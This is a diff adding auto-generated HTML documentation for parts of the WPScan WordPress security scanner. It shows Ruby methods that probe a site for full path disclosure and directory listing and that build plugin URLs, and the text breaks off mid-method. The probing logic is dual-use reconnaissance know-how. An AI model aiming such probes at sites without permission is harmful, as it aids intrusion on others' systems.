+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Module: WpFullPathDisclosure</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="module">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/modules/wp_full_path_disclosure_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/modules/wp_full_path_disclosure.rb">lib/wpscan/modules/wp_full_path_disclosure.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-i-full_path_disclosure_url">#full_path_disclosure_url</a></li>
+          
+          <li><a href="#method-i-has_full_path_disclosure-3F">#has_full_path_disclosure?</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="module">WpFullPathDisclosure</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="full_path_disclosure_url-method" class="method-detail ">
+          <a name="method-i-full_path_disclosure_url"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">full_path_disclosure_url</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="full_path_disclosure_url-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/wp_full_path_disclosure.rb, line 27</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">full_path_disclosure_url</span>
+  <span class="ruby-ivar">@uri</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-string">&quot;wp-includes/rss-functions.php&quot;</span>).<span class="ruby-identifier">to_s</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- full_path_disclosure_url-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- full_path_disclosure_url-method -->
+
+      
+        <div id="has_full_path_disclosure-3F-method" class="method-detail ">
+          <a name="method-i-has_full_path_disclosure-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">has_full_path_disclosure?</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Check for Full Path Disclosure (FPD)</p>
+            
+
+            
+            <div class="method-source-code" id="has_full_path_disclosure-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/wp_full_path_disclosure.rb, line 22</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">has_full_path_disclosure?</span>
+  <span class="ruby-identifier">response</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">full_path_disclosure_url</span>())
+  <span class="ruby-identifier">response</span>.<span class="ruby-identifier">body</span>[<span class="ruby-regexp">%{Fatal error}</span>]
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- has_full_path_disclosure-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- has_full_path_disclosure-3F-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/WpItem.html b/doc/WpItem.html
new file mode 100644
index 00000000..71de90c0
--- /dev/null
+++ b/doc/WpItem.html
@@ -0,0 +1,939 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: WpItem</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/wp_item_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/wp_item.rb">lib/wpscan/wp_item.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Vulnerable.html">Vulnerable</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-new">::new</a></li>
+          
+          <li><a href="#method-i-3C-3D-3E">#<=></a></li>
+          
+          <li><a href="#method-i-3D-3D">#==</a></li>
+          
+          <li><a href="#method-i-3D-3D-3D">#===</a></li>
+          
+          <li><a href="#method-i-changelog_url">#changelog_url</a></li>
+          
+          <li><a href="#method-i-directory_listing-3F">#directory_listing?</a></li>
+          
+          <li><a href="#method-i-extract_name_from_url">#extract_name_from_url</a></li>
+          
+          <li><a href="#method-i-get_full_url">#get_full_url</a></li>
+          
+          <li><a href="#method-i-get_sub_folder">#get_sub_folder</a></li>
+          
+          <li><a href="#method-i-get_url_without_filename">#get_url_without_filename</a></li>
+          
+          <li><a href="#method-i-has_changelog-3F">#has_changelog?</a></li>
+          
+          <li><a href="#method-i-has_readme-3F">#has_readme?</a></li>
+          
+          <li><a href="#method-i-readme_url">#readme_url</a></li>
+          
+          <li><a href="#method-i-to_s">#to_s</a></li>
+          
+          <li><a href="#method-i-version">#version</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">WpItem</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+      <!-- Attributes -->
+      <div id="attribute-method-details" class="method-section section">
+        <h3 class="section-header">Attributes</h3>
+
+        
+        <div id="base_url-attribute-method" class="method-detail">
+          <a name="base_url"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">base_url</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="name-attribute-method" class="method-detail">
+          <a name="name"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">name</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="path-attribute-method" class="method-detail">
+          <a name="path"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">path</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="type-attribute-method" class="method-detail">
+          <a name="type"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">type</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="vulns_file-attribute-method" class="method-detail">
+          <a name="vulns_file"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">vulns_file</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="vulns_xpath-attribute-method" class="method-detail">
+          <a name="vulns_xpath"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">vulns_xpath</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="wp_content_dir-attribute-method" class="method-detail">
+          <a name="wp_content_dir"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">wp_content_dir</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="wp_plugins_dir-attribute-method" class="method-detail">
+          <a name="wp_plugins_dir"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">wp_plugins_dir</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+      </div><!-- attribute-method-details -->
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="new-method" class="method-detail ">
+          <a name="method-c-new"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">new</span><span
+              class="method-args">(options)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="new-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_item.rb, line 25</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">options</span>)
+  <span class="ruby-ivar">@type</span>           = <span class="ruby-identifier">options</span>[<span class="ruby-value">:type</span>]
+  <span class="ruby-ivar">@wp_content_dir</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:wp_content_dir</span>] <span class="ruby-operator">?</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:wp_content_dir</span>].<span class="ruby-identifier">sub</span>(<span class="ruby-regexp">/^\//</span>, <span class="ruby-string">&quot;&quot;</span>).<span class="ruby-identifier">sub</span>(<span class="ruby-regexp">/\/$/</span>, <span class="ruby-string">&quot;&quot;</span>) <span class="ruby-operator">:</span> <span class="ruby-string">&quot;wp-content&quot;</span>
+  <span class="ruby-ivar">@wp_plugins_dir</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:wp_plugins_dir</span>] <span class="ruby-operator">||</span> <span class="ruby-node">&quot;#@wp_content_dir/plugins&quot;</span>
+  <span class="ruby-ivar">@base_url</span>       = <span class="ruby-identifier">options</span>[<span class="ruby-value">:base_url</span>]
+  <span class="ruby-ivar">@path</span>           = <span class="ruby-identifier">options</span>[<span class="ruby-value">:path</span>]
+  <span class="ruby-ivar">@name</span>           = <span class="ruby-identifier">options</span>[<span class="ruby-value">:name</span>] <span class="ruby-operator">||</span> <span class="ruby-identifier">extract_name_from_url</span>
+  <span class="ruby-ivar">@vulns_file</span>     = <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_file</span>]
+  <span class="ruby-ivar">@vulns_xpath</span>    = <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_xpath</span>].<span class="ruby-identifier">sub</span>(<span class="ruby-regexp">/\$name\$/</span>, <span class="ruby-ivar">@name</span>) <span class="ruby-keyword">unless</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_xpath</span>] <span class="ruby-operator">==</span> <span class="ruby-keyword">nil</span>
+
+  <span class="ruby-identifier">raise</span>(<span class="ruby-string">&quot;base_url not set&quot;</span>)       <span class="ruby-keyword">unless</span> <span class="ruby-ivar">@base_url</span>
+  <span class="ruby-identifier">raise</span>(<span class="ruby-string">&quot;path not set&quot;</span>)           <span class="ruby-keyword">unless</span> <span class="ruby-ivar">@path</span>
+  <span class="ruby-identifier">raise</span>(<span class="ruby-string">&quot;wp_content_dir not set&quot;</span>) <span class="ruby-keyword">unless</span> <span class="ruby-ivar">@wp_content_dir</span>
+  <span class="ruby-identifier">raise</span>(<span class="ruby-string">&quot;name not set&quot;</span>)           <span class="ruby-keyword">unless</span> <span class="ruby-ivar">@name</span>
+  <span class="ruby-identifier">raise</span>(<span class="ruby-string">&quot;vulns_file not set&quot;</span>)     <span class="ruby-keyword">unless</span> <span class="ruby-ivar">@vulns_file</span>
+  <span class="ruby-identifier">raise</span>(<span class="ruby-string">&quot;type not set&quot;</span>)           <span class="ruby-keyword">unless</span> <span class="ruby-ivar">@type</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- new-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- new-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="3C-3D-3E-method" class="method-detail ">
+          <a name="method-i-3C-3D-3E"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">&lt;=&gt;</span><span
+              class="method-args">(other)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Compare</p>
+            
+
+            
+            <div class="method-source-code" id="3C-3D-3E-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_item.rb, line 122</span>
+<span class="ruby-keyword">def</span> <span class="ruby-operator">&lt;=&gt;</span>(<span class="ruby-identifier">other</span>)
+  <span class="ruby-identifier">other</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">&lt;=&gt;</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">name</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- 3C-3D-3E-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- 3C-3D-3E-method -->
+
+      
+        <div id="3D-3D-method" class="method-detail ">
+          <a name="method-i-3D-3D"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">==</span><span
+              class="method-args">(other)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Compare</p>
+            
+
+            
+            <div class="method-source-code" id="3D-3D-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_item.rb, line 112</span>
+<span class="ruby-keyword">def</span> <span class="ruby-operator">==</span>(<span class="ruby-identifier">other</span>)
+  <span class="ruby-identifier">other</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">name</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- 3D-3D-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- 3D-3D-method -->
+
+      
+        <div id="3D-3D-3D-method" class="method-detail ">
+          <a name="method-i-3D-3D-3D"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">===</span><span
+              class="method-args">(other)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Compare</p>
+            
+
+            
+            <div class="method-source-code" id="3D-3D-3D-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_item.rb, line 117</span>
+<span class="ruby-keyword">def</span> <span class="ruby-operator">===</span>(<span class="ruby-identifier">other</span>)
+  <span class="ruby-identifier">other</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">name</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- 3D-3D-3D-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- 3D-3D-3D-method -->
+
+      
+        <div id="changelog_url-method" class="method-detail ">
+          <a name="method-i-changelog_url"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">changelog_url</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Url for changelog.txt</p>
+            
+
+            
+            <div class="method-source-code" id="changelog_url-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_item.rb, line 132</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">changelog_url</span>
+  <span class="ruby-identifier">get_url_without_filename</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-string">&quot;changelog.txt&quot;</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- changelog_url-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- changelog_url-method -->
+
+      
+        <div id="directory_listing-3F-method" class="method-detail ">
+          <a name="method-i-directory_listing-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">directory_listing?</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Is directory listing enabled?</p>
+            
+
+            
+            <div class="method-source-code" id="directory_listing-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_item.rb, line 95</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">directory_listing?</span>
+  <span class="ruby-comment"># Need to remove to file part from the url</span>
+  <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">get_url_without_filename</span>).<span class="ruby-identifier">body</span>[<span class="ruby-regexp">%{&lt;title&gt;Index of}</span>] <span class="ruby-operator">?</span> <span class="ruby-keyword">true</span> <span class="ruby-operator">:</span> <span class="ruby-keyword">false</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- directory_listing-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- directory_listing-3F-method -->
+
+      
+        <div id="extract_name_from_url-method" class="method-detail ">
+          <a name="method-i-extract_name_from_url"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">extract_name_from_url</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Extract item name from a url</p>
+            
+
+            
+            <div class="method-source-code" id="extract_name_from_url-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_item.rb, line 101</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">extract_name_from_url</span>
+  <span class="ruby-identifier">get_full_url</span>.<span class="ruby-identifier">to_s</span>[<span class="ruby-regexp">%{^(https?://.*/([^/]+)/)}</span>, <span class="ruby-value">2</span>]
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- extract_name_from_url-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- extract_name_from_url-method -->
+
+      
+        <div id="get_full_url-method" class="method-detail ">
+          <a name="method-i-get_full_url"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">get_full_url</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Get the full url for this item</p>
+            
+
+            
+            <div class="method-source-code" id="get_full_url-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_item.rb, line 57</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">get_full_url</span>
+  <span class="ruby-identifier">url</span> = <span class="ruby-ivar">@base_url</span>.<span class="ruby-identifier">to_s</span>.<span class="ruby-identifier">end_with?</span>(<span class="ruby-string">&quot;/&quot;</span>) <span class="ruby-operator">?</span> <span class="ruby-ivar">@base_url</span>.<span class="ruby-identifier">to_s</span> <span class="ruby-operator">:</span> <span class="ruby-node">&quot;#@base_url/&quot;</span>
+  <span class="ruby-comment"># remove first and last /</span>
+  <span class="ruby-identifier">wp_content_dir</span> = <span class="ruby-ivar">@wp_content_dir</span>.<span class="ruby-identifier">sub</span>(<span class="ruby-regexp">/^\//</span>, <span class="ruby-string">&quot;&quot;</span>).<span class="ruby-identifier">sub</span>(<span class="ruby-regexp">/\/$/</span>, <span class="ruby-string">&quot;&quot;</span>)
+  <span class="ruby-comment"># remove first /</span>
+  <span class="ruby-identifier">path</span> = <span class="ruby-ivar">@path</span>.<span class="ruby-identifier">sub</span>(<span class="ruby-regexp">/^\//</span>, <span class="ruby-string">&quot;&quot;</span>)
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">type</span> <span class="ruby-operator">==</span><span class="ruby-string">&quot;plugins&quot;</span>
+    <span class="ruby-comment"># plugins can be outside of wp-content. wp_content_dir included in wp_plugins_dir</span>
+    <span class="ruby-identifier">ret</span> = <span class="ruby-constant">URI</span>.<span class="ruby-identifier">parse</span>(<span class="ruby-node">&quot;#{url}#@wp_plugins_dir/#{path}&quot;</span>)
+  <span class="ruby-keyword">elsif</span> <span class="ruby-identifier">type</span> <span class="ruby-operator">==</span> <span class="ruby-string">&quot;timthumbs&quot;</span>
+    <span class="ruby-comment"># timthumbs have folder in path variable</span>
+    <span class="ruby-identifier">ret</span> = <span class="ruby-constant">URI</span>.<span class="ruby-identifier">parse</span>(<span class="ruby-node">&quot;#{url}#{wp_content_dir}/#{path}&quot;</span>)
+  <span class="ruby-keyword">else</span>
+    <span class="ruby-identifier">ret</span> = <span class="ruby-constant">URI</span>.<span class="ruby-identifier">parse</span>(<span class="ruby-node">&quot;#{url}#{wp_content_dir}/#{get_sub_folder}/#{path}&quot;</span>)
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">ret</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- get_full_url-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- get_full_url-method -->
+
+      
+        <div id="get_sub_folder-method" class="method-detail ">
+          <a name="method-i-get_sub_folder"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">get_sub_folder</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="get_sub_folder-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_item.rb, line 43</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">get_sub_folder</span>
